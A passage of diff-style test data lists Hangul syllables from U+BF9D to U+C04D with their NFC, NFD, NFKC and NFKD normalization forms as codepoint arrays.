+{ source: [0xBF9D], NFC: [0xBF9D], NFD: [0x1108, 0x116C, 0x11B0], NFKC: [0xBF9D], NFKD: [0x1108, 0x116C, 0x11B0] },
+{ source: [0xBF9E], NFC: [0xBF9E], NFD: [0x1108, 0x116C, 0x11B1], NFKC: [0xBF9E], NFKD: [0x1108, 0x116C, 0x11B1] },
+{ source: [0xBF9F], NFC: [0xBF9F], NFD: [0x1108, 0x116C, 0x11B2], NFKC: [0xBF9F], NFKD: [0x1108, 0x116C, 0x11B2] },
+{ source: [0xBFA0], NFC: [0xBFA0], NFD: [0x1108, 0x116C, 0x11B3], NFKC: [0xBFA0], NFKD: [0x1108, 0x116C, 0x11B3] },
+{ source: [0xBFA1], NFC: [0xBFA1], NFD: [0x1108, 0x116C, 0x11B4], NFKC: [0xBFA1], NFKD: [0x1108, 0x116C, 0x11B4] },
+{ source: [0xBFA2], NFC: [0xBFA2], NFD: [0x1108, 0x116C, 0x11B5], NFKC: [0xBFA2], NFKD: [0x1108, 0x116C, 0x11B5] },
+{ source: [0xBFA3], NFC: [0xBFA3], NFD: [0x1108, 0x116C, 0x11B6], NFKC: [0xBFA3], NFKD: [0x1108, 0x116C, 0x11B6] },
+{ source: [0xBFA4], NFC: [0xBFA4], NFD: [0x1108, 0x116C, 0x11B7], NFKC: [0xBFA4], NFKD: [0x1108, 0x116C, 0x11B7] },
+{ source: [0xBFA5], NFC: [0xBFA5], NFD: [0x1108, 0x116C, 0x11B8], NFKC: [0xBFA5], NFKD: [0x1108, 0x116C, 0x11B8] },
+{ source: [0xBFA6], NFC: [0xBFA6], NFD: [0x1108, 0x116C, 0x11B9], NFKC: [0xBFA6], NFKD: [0x1108, 0x116C, 0x11B9] },
+{ source: [0xBFA7], NFC: [0xBFA7], NFD: [0x1108, 0x116C, 0x11BA], NFKC: [0xBFA7], NFKD: [0x1108, 0x116C, 0x11BA] },
+{ source: [0xBFA8], NFC: [0xBFA8], NFD: [0x1108, 0x116C, 0x11BB], NFKC: [0xBFA8], NFKD: [0x1108, 0x116C, 0x11BB] },
+{ source: [0xBFA9], NFC: [0xBFA9], NFD: [0x1108, 0x116C, 0x11BC], NFKC: [0xBFA9], NFKD: [0x1108, 0x116C, 0x11BC] },
+{ source: [0xBFAA], NFC: [0xBFAA], NFD: [0x1108, 0x116C, 0x11BD], NFKC: [0xBFAA], NFKD: [0x1108, 0x116C, 0x11BD] },
+{ source: [0xBFAB], NFC: [0xBFAB], NFD: [0x1108, 0x116C, 0x11BE], NFKC: [0xBFAB], NFKD: [0x1108, 0x116C, 0x11BE] },
+{ source: [0xBFAC], NFC: [0xBFAC], NFD: [0x1108, 0x116C, 0x11BF], NFKC: [0xBFAC], NFKD: [0x1108, 0x116C, 0x11BF] },
+{ source: [0xBFAD], NFC: [0xBFAD], NFD: [0x1108, 0x116C, 0x11C0], NFKC: [0xBFAD], NFKD: [0x1108, 0x116C, 0x11C0] },
+{ source: [0xBFAE], NFC: [0xBFAE], NFD: [0x1108, 0x116C, 0x11C1], NFKC: [0xBFAE], NFKD: [0x1108, 0x116C, 0x11C1] },
+{ source: [0xBFAF], NFC: [0xBFAF], NFD: [0x1108, 0x116C, 0x11C2], NFKC: [0xBFAF], NFKD: [0x1108, 0x116C, 0x11C2] },
+{ source: [0xBFB0], NFC: [0xBFB0], NFD: [0x1108, 0x116D], NFKC: [0xBFB0], NFKD: [0x1108, 0x116D] },
+{ source: [0xBFB1], NFC: [0xBFB1], NFD: [0x1108, 0x116D, 0x11A8], NFKC: [0xBFB1], NFKD: [0x1108, 0x116D, 0x11A8] },
+{ source: [0xBFB2], NFC: [0xBFB2], NFD: [0x1108, 0x116D, 0x11A9], NFKC: [0xBFB2], NFKD: [0x1108, 0x116D, 0x11A9] },
+{ source: [0xBFB3], NFC: [0xBFB3], NFD: [0x1108, 0x116D, 0x11AA], NFKC: [0xBFB3], NFKD: [0x1108, 0x116D, 0x11AA] },
+{ source: [0xBFB4], NFC: [0xBFB4], NFD: [0x1108, 0x116D, 0x11AB], NFKC: [0xBFB4], NFKD: [0x1108, 0x116D, 0x11AB] },
+{ source: [0xBFB5], NFC: [0xBFB5], NFD: [0x1108, 0x116D, 0x11AC], NFKC: [0xBFB5], NFKD: [0x1108, 0x116D, 0x11AC] },
+{ source: [0xBFB6], NFC: [0xBFB6], NFD: [0x1108, 0x116D, 0x11AD], NFKC: [0xBFB6], NFKD: [0x1108, 0x116D, 0x11AD] },
+{ source: [0xBFB7], NFC: [0xBFB7], NFD: [0x1108, 0x116D, 0x11AE], NFKC: [0xBFB7], NFKD: [0x1108, 0x116D, 0x11AE] },
+{ source: [0xBFB8], NFC: [0xBFB8], NFD: [0x1108, 0x116D, 0x11AF], NFKC: [0xBFB8], NFKD: [0x1108, 0x116D, 0x11AF] },
+{ source: [0xBFB9], NFC: [0xBFB9], NFD: [0x1108, 0x116D, 0x11B0], NFKC: [0xBFB9], NFKD: [0x1108, 0x116D, 0x11B0] },
+{ source: [0xBFBA], NFC: [0xBFBA], NFD: [0x1108, 0x116D, 0x11B1], NFKC: [0xBFBA], NFKD: [0x1108, 0x116D, 0x11B1] },
+{ source: [0xBFBB], NFC: [0xBFBB], NFD: [0x1108, 0x116D, 0x11B2], NFKC: [0xBFBB], NFKD: [0x1108, 0x116D, 0x11B2] },
+{ source: [0xBFBC], NFC: [0xBFBC], NFD: [0x1108, 0x116D, 0x11B3], NFKC: [0xBFBC], NFKD: [0x1108, 0x116D, 0x11B3] },
+{ source: [0xBFBD], NFC: [0xBFBD], NFD: [0x1108, 0x116D, 0x11B4], NFKC: [0xBFBD], NFKD: [0x1108, 0x116D, 0x11B4] },
+{ source: [0xBFBE], NFC: [0xBFBE], NFD: [0x1108, 0x116D, 0x11B5], NFKC: [0xBFBE], NFKD: [0x1108, 0x116D, 0x11B5] },
+{ source: [0xBFBF], NFC: [0xBFBF], NFD: [0x1108, 0x116D, 0x11B6], NFKC: [0xBFBF], NFKD: [0x1108, 0x116D, 0x11B6] },
+{ source: [0xBFC0], NFC: [0xBFC0], NFD: [0x1108, 0x116D, 0x11B7], NFKC: [0xBFC0], NFKD: [0x1108, 0x116D, 0x11B7] },
+{ source: [0xBFC1], NFC: [0xBFC1], NFD: [0x1108, 0x116D, 0x11B8], NFKC: [0xBFC1], NFKD: [0x1108, 0x116D, 0x11B8] },
+{ source: [0xBFC2], NFC: [0xBFC2], NFD: [0x1108, 0x116D, 0x11B9], NFKC: [0xBFC2], NFKD: [0x1108, 0x116D, 0x11B9] },
+{ source: [0xBFC3], NFC: [0xBFC3], NFD: [0x1108, 0x116D, 0x11BA], NFKC: [0xBFC3], NFKD: [0x1108, 0x116D, 0x11BA] },
+{ source: [0xBFC4], NFC: [0xBFC4], NFD: [0x1108, 0x116D, 0x11BB], NFKC: [0xBFC4], NFKD: [0x1108, 0x116D, 0x11BB] },
+{ source: [0xBFC5], NFC: [0xBFC5], NFD: [0x1108, 0x116D, 0x11BC], NFKC: [0xBFC5], NFKD: [0x1108, 0x116D, 0x11BC] },
+{ source: [0xBFC6], NFC: [0xBFC6], NFD: [0x1108, 0x116D, 0x11BD], NFKC: [0xBFC6], NFKD: [0x1108, 0x116D, 0x11BD] },
+{ source: [0xBFC7], NFC: [0xBFC7], NFD: [0x1108, 0x116D, 0x11BE], NFKC: [0xBFC7], NFKD: [0x1108, 0x116D, 0x11BE] },
+{ source: [0xBFC8], NFC: [0xBFC8], NFD: [0x1108, 0x116D, 0x11BF], NFKC: [0xBFC8], NFKD: [0x1108, 0x116D, 0x11BF] },
+{ source: [0xBFC9], NFC: [0xBFC9], NFD: [0x1108, 0x116D, 0x11C0], NFKC: [0xBFC9], NFKD: [0x1108, 0x116D, 0x11C0] },
+{ source: [0xBFCA], NFC: [0xBFCA], NFD: [0x1108, 0x116D, 0x11C1], NFKC: [0xBFCA], NFKD: [0x1108, 0x116D, 0x11C1] },
+{ source: [0xBFCB], NFC: [0xBFCB], NFD: [0x1108, 0x116D, 0x11C2], NFKC: [0xBFCB], NFKD: [0x1108, 0x116D, 0x11C2] },
+{ source: [0xBFCC], NFC: [0xBFCC], NFD: [0x1108, 0x116E], NFKC: [0xBFCC], NFKD: [0x1108, 0x116E] },
+{ source: [0xBFCD], NFC: [0xBFCD], NFD: [0x1108, 0x116E, 0x11A8], NFKC: [0xBFCD], NFKD: [0x1108, 0x116E, 0x11A8] },
+{ source: [0xBFCE], NFC: [0xBFCE], NFD: [0x1108, 0x116E, 0x11A9], NFKC: [0xBFCE], NFKD: [0x1108, 0x116E, 0x11A9] },
+{ source: [0xBFCF], NFC: [0xBFCF], NFD: [0x1108, 0x116E, 0x11AA], NFKC: [0xBFCF], NFKD: [0x1108, 0x116E, 0x11AA] },
+{ source: [0xBFD0], NFC: [0xBFD0], NFD: [0x1108, 0x116E, 0x11AB], NFKC: [0xBFD0], NFKD: [0x1108, 0x116E, 0x11AB] },
+{ source: [0xBFD1], NFC: [0xBFD1], NFD: [0x1108, 0x116E, 0x11AC], NFKC: [0xBFD1], NFKD: [0x1108, 0x116E, 0x11AC] },
+{ source: [0xBFD2], NFC: [0xBFD2], NFD: [0x1108, 0x116E, 0x11AD], NFKC: [0xBFD2], NFKD: [0x1108, 0x116E, 0x11AD] },
+{ source: [0xBFD3], NFC: [0xBFD3], NFD: [0x1108, 0x116E, 0x11AE], NFKC: [0xBFD3], NFKD: [0x1108, 0x116E, 0x11AE] },
+{ source: [0xBFD4], NFC: [0xBFD4], NFD: [0x1108, 0x116E, 0x11AF], NFKC: [0xBFD4], NFKD: [0x1108, 0x116E, 0x11AF] },
+{ source: [0xBFD5], NFC: [0xBFD5], NFD: [0x1108, 0x116E, 0x11B0], NFKC: [0xBFD5], NFKD: [0x1108, 0x116E, 0x11B0] },
+{ source: [0xBFD6], NFC: [0xBFD6], NFD: [0x1108, 0x116E, 0x11B1], NFKC: [0xBFD6], NFKD: [0x1108, 0x116E, 0x11B1] },
+{ source: [0xBFD7], NFC: [0xBFD7], NFD: [0x1108, 0x116E, 0x11B2], NFKC: [0xBFD7], NFKD: [0x1108, 0x116E, 0x11B2] },
+{ source: [0xBFD8], NFC: [0xBFD8], NFD: [0x1108, 0x116E, 0x11B3], NFKC: [0xBFD8], NFKD: [0x1108, 0x116E, 0x11B3] },
+{ source: [0xBFD9], NFC: [0xBFD9], NFD: [0x1108, 0x116E, 0x11B4], NFKC: [0xBFD9], NFKD: [0x1108, 0x116E, 0x11B4] },
+{ source: [0xBFDA], NFC: [0xBFDA], NFD: [0x1108, 0x116E, 0x11B5], NFKC: [0xBFDA], NFKD: [0x1108, 0x116E, 0x11B5] },
+{ source: [0xBFDB], NFC: [0xBFDB], NFD: [0x1108, 0x116E, 0x11B6], NFKC: [0xBFDB], NFKD: [0x1108, 0x116E, 0x11B6] },
+{ source: [0xBFDC], NFC: [0xBFDC], NFD: [0x1108, 0x116E, 0x11B7], NFKC: [0xBFDC], NFKD: [0x1108, 0x116E, 0x11B7] },
+{ source: [0xBFDD], NFC: [0xBFDD], NFD: [0x1108, 0x116E, 0x11B8], NFKC: [0xBFDD], NFKD: [0x1108, 0x116E, 0x11B8] },
+{ source: [0xBFDE], NFC: [0xBFDE], NFD: [0x1108, 0x116E, 0x11B9], NFKC: [0xBFDE], NFKD: [0x1108, 0x116E, 0x11B9] },
+{ source: [0xBFDF], NFC: [0xBFDF], NFD: [0x1108, 0x116E, 0x11BA], NFKC: [0xBFDF], NFKD: [0x1108, 0x116E, 0x11BA] },
+{ source: [0xBFE0], NFC: [0xBFE0], NFD: [0x1108, 0x116E, 0x11BB], NFKC: [0xBFE0], NFKD: [0x1108, 0x116E, 0x11BB] },
+{ source: [0xBFE1], NFC: [0xBFE1], NFD: [0x1108, 0x116E, 0x11BC], NFKC: [0xBFE1], NFKD: [0x1108, 0x116E, 0x11BC] },
+{ source: [0xBFE2], NFC: [0xBFE2], NFD: [0x1108, 0x116E, 0x11BD], NFKC: [0xBFE2], NFKD: [0x1108, 0x116E, 0x11BD] },
+{ source: [0xBFE3], NFC: [0xBFE3], NFD: [0x1108, 0x116E, 0x11BE], NFKC: [0xBFE3], NFKD: [0x1108, 0x116E, 0x11BE] },
+{ source: [0xBFE4], NFC: [0xBFE4], NFD: [0x1108, 0x116E, 0x11BF], NFKC: [0xBFE4], NFKD: [0x1108, 0x116E, 0x11BF] },
+{ source: [0xBFE5], NFC: [0xBFE5], NFD: [0x1108, 0x116E, 0x11C0], NFKC: [0xBFE5], NFKD: [0x1108, 0x116E, 0x11C0] },
+{ source: [0xBFE6], NFC: [0xBFE6], NFD: [0x1108, 0x116E, 0x11C1], NFKC: [0xBFE6], NFKD: [0x1108, 0x116E, 0x11C1] },
+{ source: [0xBFE7], NFC: [0xBFE7], NFD: [0x1108, 0x116E, 0x11C2], NFKC: [0xBFE7], NFKD: [0x1108, 0x116E, 0x11C2] },
+{ source: [0xBFE8], NFC: [0xBFE8], NFD: [0x1108, 0x116F], NFKC: [0xBFE8], NFKD: [0x1108, 0x116F] },
+{ source: [0xBFE9], NFC: [0xBFE9], NFD: [0x1108, 0x116F, 0x11A8], NFKC: [0xBFE9], NFKD: [0x1108, 0x116F, 0x11A8] },
+{ source: [0xBFEA], NFC: [0xBFEA], NFD: [0x1108, 0x116F, 0x11A9], NFKC: [0xBFEA], NFKD: [0x1108, 0x116F, 0x11A9] },
+{ source: [0xBFEB], NFC: [0xBFEB], NFD: [0x1108, 0x116F, 0x11AA], NFKC: [0xBFEB], NFKD: [0x1108, 0x116F, 0x11AA] },
+{ source: [0xBFEC], NFC: [0xBFEC], NFD: [0x1108, 0x116F, 0x11AB], NFKC: [0xBFEC], NFKD: [0x1108, 0x116F, 0x11AB] },
+{ source: [0xBFED], NFC: [0xBFED], NFD: [0x1108, 0x116F, 0x11AC], NFKC: [0xBFED], NFKD: [0x1108, 0x116F, 0x11AC] },
+{ source: [0xBFEE], NFC: [0xBFEE], NFD: [0x1108, 0x116F, 0x11AD], NFKC: [0xBFEE], NFKD: [0x1108, 0x116F, 0x11AD] },
+{ source: [0xBFEF], NFC: [0xBFEF], NFD: [0x1108, 0x116F, 0x11AE], NFKC: [0xBFEF], NFKD: [0x1108, 0x116F, 0x11AE] },
+{ source: [0xBFF0], NFC: [0xBFF0], NFD: [0x1108, 0x116F, 0x11AF], NFKC: [0xBFF0], NFKD: [0x1108, 0x116F, 0x11AF] },
+{ source: [0xBFF1], NFC: [0xBFF1], NFD: [0x1108, 0x116F, 0x11B0], NFKC: [0xBFF1], NFKD: [0x1108, 0x116F, 0x11B0] },
+{ source: [0xBFF2], NFC: [0xBFF2], NFD: [0x1108, 0x116F, 0x11B1], NFKC: [0xBFF2], NFKD: [0x1108, 0x116F, 0x11B1] },
+{ source: [0xBFF3], NFC: [0xBFF3], NFD: [0x1108, 0x116F, 0x11B2], NFKC: [0xBFF3], NFKD: [0x1108, 0x116F, 0x11B2] },
+{ source: [0xBFF4], NFC: [0xBFF4], NFD: [0x1108, 0x116F, 0x11B3], NFKC: [0xBFF4], NFKD: [0x1108, 0x116F, 0x11B3] },
+{ source: [0xBFF5], NFC: [0xBFF5], NFD: [0x1108, 0x116F, 0x11B4], NFKC: [0xBFF5], NFKD: [0x1108, 0x116F, 0x11B4] },
+{ source: [0xBFF6], NFC: [0xBFF6], NFD: [0x1108, 0x116F, 0x11B5], NFKC: [0xBFF6], NFKD: [0x1108, 0x116F, 0x11B5] },
+{ source: [0xBFF7], NFC: [0xBFF7], NFD: [0x1108, 0x116F, 0x11B6], NFKC: [0xBFF7], NFKD: [0x1108, 0x116F, 0x11B6] },
+{ source: [0xBFF8], NFC: [0xBFF8], NFD: [0x1108, 0x116F, 0x11B7], NFKC: [0xBFF8], NFKD: [0x1108, 0x116F, 0x11B7] },
+{ source: [0xBFF9], NFC: [0xBFF9], NFD: [0x1108, 0x116F, 0x11B8], NFKC: [0xBFF9], NFKD: [0x1108, 0x116F, 0x11B8] },
+{ source: [0xBFFA], NFC: [0xBFFA], NFD: [0x1108, 0x116F, 0x11B9], NFKC: [0xBFFA], NFKD: [0x1108, 0x116F, 0x11B9] },
+{ source: [0xBFFB], NFC: [0xBFFB], NFD: [0x1108, 0x116F, 0x11BA], NFKC: [0xBFFB], NFKD: [0x1108, 0x116F, 0x11BA] },
+{ source: [0xBFFC], NFC: [0xBFFC], NFD: [0x1108, 0x116F, 0x11BB], NFKC: [0xBFFC], NFKD: [0x1108, 0x116F, 0x11BB] },
+{ source: [0xBFFD], NFC: [0xBFFD], NFD: [0x1108, 0x116F, 0x11BC], NFKC: [0xBFFD], NFKD: [0x1108, 0x116F, 0x11BC] },
+{ source: [0xBFFE], NFC: [0xBFFE], NFD: [0x1108, 0x116F, 0x11BD], NFKC: [0xBFFE], NFKD: [0x1108, 0x116F, 0x11BD] },
+{ source: [0xBFFF], NFC: [0xBFFF], NFD: [0x1108, 0x116F, 0x11BE], NFKC: [0xBFFF], NFKD: [0x1108, 0x116F, 0x11BE] },
+{ source: [0xC000], NFC: [0xC000], NFD: [0x1108, 0x116F, 0x11BF], NFKC: [0xC000], NFKD: [0x1108, 0x116F, 0x11BF] },
+{ source: [0xC001], NFC: [0xC001], NFD: [0x1108, 0x116F, 0x11C0], NFKC: [0xC001], NFKD: [0x1108, 0x116F, 0x11C0] },
+{ source: [0xC002], NFC: [0xC002], NFD: [0x1108, 0x116F, 0x11C1], NFKC: [0xC002], NFKD: [0x1108, 0x116F, 0x11C1] },
+{ source: [0xC003], NFC: [0xC003], NFD: [0x1108, 0x116F, 0x11C2], NFKC: [0xC003], NFKD: [0x1108, 0x116F, 0x11C2] },
+{ source: [0xC004], NFC: [0xC004], NFD: [0x1108, 0x1170], NFKC: [0xC004], NFKD: [0x1108, 0x1170] },
+{ source: [0xC005], NFC: [0xC005], NFD: [0x1108, 0x1170, 0x11A8], NFKC: [0xC005], NFKD: [0x1108, 0x1170, 0x11A8] },
+{ source: [0xC006], NFC: [0xC006], NFD: [0x1108, 0x1170, 0x11A9], NFKC: [0xC006], NFKD: [0x1108, 0x1170, 0x11A9] },
+{ source: [0xC007], NFC: [0xC007], NFD: [0x1108, 0x1170, 0x11AA], NFKC: [0xC007], NFKD: [0x1108, 0x1170, 0x11AA] },
+{ source: [0xC008], NFC: [0xC008], NFD: [0x1108, 0x1170, 0x11AB], NFKC: [0xC008], NFKD: [0x1108, 0x1170, 0x11AB] },
+{ source: [0xC009], NFC: [0xC009], NFD: [0x1108, 0x1170, 0x11AC], NFKC: [0xC009], NFKD: [0x1108, 0x1170, 0x11AC] },
+{ source: [0xC00A], NFC: [0xC00A], NFD: [0x1108, 0x1170, 0x11AD], NFKC: [0xC00A], NFKD: [0x1108, 0x1170, 0x11AD] },
+{ source: [0xC00B], NFC: [0xC00B], NFD: [0x1108, 0x1170, 0x11AE], NFKC: [0xC00B], NFKD: [0x1108, 0x1170, 0x11AE] },
+{ source: [0xC00C], NFC: [0xC00C], NFD: [0x1108, 0x1170, 0x11AF], NFKC: [0xC00C], NFKD: [0x1108, 0x1170, 0x11AF] },
+{ source: [0xC00D], NFC: [0xC00D], NFD: [0x1108, 0x1170, 0x11B0], NFKC: [0xC00D], NFKD: [0x1108, 0x1170, 0x11B0] },
+{ source: [0xC00E], NFC: [0xC00E], NFD: [0x1108, 0x1170, 0x11B1], NFKC: [0xC00E], NFKD: [0x1108, 0x1170, 0x11B1] },
+{ source: [0xC00F], NFC: [0xC00F], NFD: [0x1108, 0x1170, 0x11B2], NFKC: [0xC00F], NFKD: [0x1108, 0x1170, 0x11B2] },
+{ source: [0xC010], NFC: [0xC010], NFD: [0x1108, 0x1170, 0x11B3], NFKC: [0xC010], NFKD: [0x1108, 0x1170, 0x11B3] },
+{ source: [0xC011], NFC: [0xC011], NFD: [0x1108, 0x1170, 0x11B4], NFKC: [0xC011], NFKD: [0x1108, 0x1170, 0x11B4] },
+{ source: [0xC012], NFC: [0xC012], NFD: [0x1108, 0x1170, 0x11B5], NFKC: [0xC012], NFKD: [0x1108, 0x1170, 0x11B5] },
+{ source: [0xC013], NFC: [0xC013], NFD: [0x1108, 0x1170, 0x11B6], NFKC: [0xC013], NFKD: [0x1108, 0x1170, 0x11B6] },
+{ source: [0xC014], NFC: [0xC014], NFD: [0x1108, 0x1170, 0x11B7], NFKC: [0xC014], NFKD: [0x1108, 0x1170, 0x11B7] },
+{ source: [0xC015], NFC: [0xC015], NFD: [0x1108, 0x1170, 0x11B8], NFKC: [0xC015], NFKD: [0x1108, 0x1170, 0x11B8] },
+{ source: [0xC016], NFC: [0xC016], NFD: [0x1108, 0x1170, 0x11B9], NFKC: [0xC016], NFKD: [0x1108, 0x1170, 0x11B9] },
+{ source: [0xC017], NFC: [0xC017], NFD: [0x1108, 0x1170, 0x11BA], NFKC: [0xC017], NFKD: [0x1108, 0x1170, 0x11BA] },
+{ source: [0xC018], NFC: [0xC018], NFD: [0x1108, 0x1170, 0x11BB], NFKC: [0xC018], NFKD: [0x1108, 0x1170, 0x11BB] },
+{ source: [0xC019], NFC: [0xC019], NFD: [0x1108, 0x1170, 0x11BC], NFKC: [0xC019], NFKD: [0x1108, 0x1170, 0x11BC] },
+{ source: [0xC01A], NFC: [0xC01A], NFD: [0x1108, 0x1170, 0x11BD], NFKC: [0xC01A], NFKD: [0x1108, 0x1170, 0x11BD] },
+{ source: [0xC01B], NFC: [0xC01B], NFD: [0x1108, 0x1170, 0x11BE], NFKC: [0xC01B], NFKD: [0x1108, 0x1170, 0x11BE] },
+{ source: [0xC01C], NFC: [0xC01C], NFD: [0x1108, 0x1170, 0x11BF], NFKC: [0xC01C], NFKD: [0x1108, 0x1170, 0x11BF] },
+{ source: [0xC01D], NFC: [0xC01D], NFD: [0x1108, 0x1170, 0x11C0], NFKC: [0xC01D], NFKD: [0x1108, 0x1170, 0x11C0] },
+{ source: [0xC01E], NFC: [0xC01E], NFD: [0x1108, 0x1170, 0x11C1], NFKC: [0xC01E], NFKD: [0x1108, 0x1170, 0x11C1] },
+{ source: [0xC01F], NFC: [0xC01F], NFD: [0x1108, 0x1170, 0x11C2], NFKC: [0xC01F], NFKD: [0x1108, 0x1170, 0x11C2] },
+{ source: [0xC020], NFC: [0xC020], NFD: [0x1108, 0x1171], NFKC: [0xC020], NFKD: [0x1108, 0x1171] },
+{ source: [0xC021], NFC: [0xC021], NFD: [0x1108, 0x1171, 0x11A8], NFKC: [0xC021], NFKD: [0x1108, 0x1171, 0x11A8] },
+{ source: [0xC022], NFC: [0xC022], NFD: [0x1108, 0x1171, 0x11A9], NFKC: [0xC022], NFKD: [0x1108, 0x1171, 0x11A9] },
+{ source: [0xC023], NFC: [0xC023], NFD: [0x1108, 0x1171, 0x11AA], NFKC: [0xC023], NFKD: [0x1108, 0x1171, 0x11AA] },
+{ source: [0xC024], NFC: [0xC024], NFD: [0x1108, 0x1171, 0x11AB], NFKC: [0xC024], NFKD: [0x1108, 0x1171, 0x11AB] },
+{ source: [0xC025], NFC: [0xC025], NFD: [0x1108, 0x1171, 0x11AC], NFKC: [0xC025], NFKD: [0x1108, 0x1171, 0x11AC] },
+{ source: [0xC026], NFC: [0xC026], NFD: [0x1108, 0x1171, 0x11AD], NFKC: [0xC026], NFKD: [0x1108, 0x1171, 0x11AD] },
+{ source: [0xC027], NFC: [0xC027], NFD: [0x1108, 0x1171, 0x11AE], NFKC: [0xC027], NFKD: [0x1108, 0x1171, 0x11AE] },
+{ source: [0xC028], NFC: [0xC028], NFD: [0x1108, 0x1171, 0x11AF], NFKC: [0xC028], NFKD: [0x1108, 0x1171, 0x11AF] },
+{ source: [0xC029], NFC: [0xC029], NFD: [0x1108, 0x1171, 0x11B0], NFKC: [0xC029], NFKD: [0x1108, 0x1171, 0x11B0] },
+{ source: [0xC02A], NFC: [0xC02A], NFD: [0x1108, 0x1171, 0x11B1], NFKC: [0xC02A], NFKD: [0x1108, 0x1171, 0x11B1] },
+{ source: [0xC02B], NFC: [0xC02B], NFD: [0x1108, 0x1171, 0x11B2], NFKC: [0xC02B], NFKD: [0x1108, 0x1171, 0x11B2] },
+{ source: [0xC02C], NFC: [0xC02C], NFD: [0x1108, 0x1171, 0x11B3], NFKC: [0xC02C], NFKD: [0x1108, 0x1171, 0x11B3] },
+{ source: [0xC02D], NFC: [0xC02D], NFD: [0x1108, 0x1171, 0x11B4], NFKC: [0xC02D], NFKD: [0x1108, 0x1171, 0x11B4] },
+{ source: [0xC02E], NFC: [0xC02E], NFD: [0x1108, 0x1171, 0x11B5], NFKC: [0xC02E], NFKD: [0x1108, 0x1171, 0x11B5] },
+{ source: [0xC02F], NFC: [0xC02F], NFD: [0x1108, 0x1171, 0x11B6], NFKC: [0xC02F], NFKD: [0x1108, 0x1171, 0x11B6] },
+{ source: [0xC030], NFC: [0xC030], NFD: [0x1108, 0x1171, 0x11B7], NFKC: [0xC030], NFKD: [0x1108, 0x1171, 0x11B7] },
+{ source: [0xC031], NFC: [0xC031], NFD: [0x1108, 0x1171, 0x11B8], NFKC: [0xC031], NFKD: [0x1108, 0x1171, 0x11B8] },
+{ source: [0xC032], NFC: [0xC032], NFD: [0x1108, 0x1171, 0x11B9], NFKC: [0xC032], NFKD: [0x1108, 0x1171, 0x11B9] },
+{ source: [0xC033], NFC: [0xC033], NFD: [0x1108, 0x1171, 0x11BA], NFKC: [0xC033], NFKD: [0x1108, 0x1171, 0x11BA] },
+{ source: [0xC034], NFC: [0xC034], NFD: [0x1108, 0x1171, 0x11BB], NFKC: [0xC034], NFKD: [0x1108, 0x1171, 0x11BB] },
+{ source: [0xC035], NFC: [0xC035], NFD: [0x1108, 0x1171, 0x11BC], NFKC: [0xC035], NFKD: [0x1108, 0x1171, 0x11BC] },
+{ source: [0xC036], NFC: [0xC036], NFD: [0x1108, 0x1171, 0x11BD], NFKC: [0xC036], NFKD: [0x1108, 0x1171, 0x11BD] },
+{ source: [0xC037], NFC: [0xC037], NFD: [0x1108, 0x1171, 0x11BE], NFKC: [0xC037], NFKD: [0x1108, 0x1171, 0x11BE] },
+{ source: [0xC038], NFC: [0xC038], NFD: [0x1108, 0x1171, 0x11BF], NFKC: [0xC038], NFKD: [0x1108, 0x1171, 0x11BF] },
+{ source: [0xC039], NFC: [0xC039], NFD: [0x1108, 0x1171, 0x11C0], NFKC: [0xC039], NFKD: [0x1108, 0x1171, 0x11C0] },
+{ source: [0xC03A], NFC: [0xC03A], NFD: [0x1108, 0x1171, 0x11C1], NFKC: [0xC03A], NFKD: [0x1108, 0x1171, 0x11C1] },
+{ source: [0xC03B], NFC: [0xC03B], NFD: [0x1108, 0x1171, 0x11C2], NFKC: [0xC03B], NFKD: [0x1108, 0x1171, 0x11C2] },
+{ source: [0xC03C], NFC: [0xC03C], NFD: [0x1108, 0x1172], NFKC: [0xC03C], NFKD: [0x1108, 0x1172] },
+{ source: [0xC03D], NFC: [0xC03D], NFD: [0x1108, 0x1172, 0x11A8], NFKC: [0xC03D], NFKD: [0x1108, 0x1172, 0x11A8] },
+{ source: [0xC03E], NFC: [0xC03E], NFD: [0x1108, 0x1172, 0x11A9], NFKC: [0xC03E], NFKD: [0x1108, 0x1172, 0x11A9] },
+{ source: [0xC03F], NFC: [0xC03F], NFD: [0x1108, 0x1172, 0x11AA], NFKC: [0xC03F], NFKD: [0x1108, 0x1172, 0x11AA] },
+{ source: [0xC040], NFC: [0xC040], NFD: [0x1108, 0x1172, 0x11AB], NFKC: [0xC040], NFKD: [0x1108, 0x1172, 0x11AB] },
+{ source: [0xC041], NFC: [0xC041], NFD: [0x1108, 0x1172, 0x11AC], NFKC: [0xC041], NFKD: [0x1108, 0x1172, 0x11AC] },
+{ source: [0xC042], NFC: [0xC042], NFD: [0x1108, 0x1172, 0x11AD], NFKC: [0xC042], NFKD: [0x1108, 0x1172, 0x11AD] },
+{ source: [0xC043], NFC: [0xC043], NFD: [0x1108, 0x1172, 0x11AE], NFKC: [0xC043], NFKD: [0x1108, 0x1172, 0x11AE] },
+{ source: [0xC044], NFC: [0xC044], NFD: [0x1108, 0x1172, 0x11AF], NFKC: [0xC044], NFKD: [0x1108, 0x1172, 0x11AF] },
+{ source: [0xC045], NFC: [0xC045], NFD: [0x1108, 0x1172, 0x11B0], NFKC: [0xC045], NFKD: [0x1108, 0x1172, 0x11B0] },
+{ source: [0xC046], NFC: [0xC046], NFD: [0x1108, 0x1172, 0x11B1], NFKC: [0xC046], NFKD: [0x1108, 0x1172, 0x11B1] },
+{ source: [0xC047], NFC: [0xC047], NFD: [0x1108, 0x1172, 0x11B2], NFKC: [0xC047], NFKD: [0x1108, 0x1172, 0x11B2] },
+{ source: [0xC048], NFC: [0xC048], NFD: [0x1108, 0x1172, 0x11B3], NFKC: [0xC048], NFKD: [0x1108, 0x1172, 0x11B3] },
+{ source: [0xC049], NFC: [0xC049], NFD: [0x1108, 0x1172, 0x11B4], NFKC: [0xC049], NFKD: [0x1108, 0x1172, 0x11B4] },
+{ source: [0xC04A], NFC: [0xC04A], NFD: [0x1108, 0x1172, 0x11B5], NFKC: [0xC04A], NFKD: [0x1108, 0x1172, 0x11B5] },
+{ source: [0xC04B], NFC: [0xC04B], NFD: [0x1108, 0x1172, 0x11B6], NFKC: [0xC04B], NFKD: [0x1108, 0x1172, 0x11B6] },
+{ source: [0xC04C], NFC: [0xC04C], NFD: [0x1108, 0x1172, 0x11B7], NFKC: [0xC04C], NFKD: [0x1108, 0x1172, 0x11B7] },
+{ source: [0xC04D], NFC: [0xC04D], NFD: [0x1108, 0x1172, 0x11B8], NFKC: [0xC04D], NFKD: [0x1108, 0x1172, 0x11B8] },
